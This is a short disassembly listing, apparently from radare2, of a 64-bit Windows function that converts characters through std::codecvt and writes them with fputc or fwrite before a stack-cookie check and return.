mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000e6a4
sub eax, 1
je 0x14000e6a4
cmp eax, 2
jne 0x14000e6ec
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000e6f1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14000e6d2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000e6ec
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14000e6f1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140074780
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret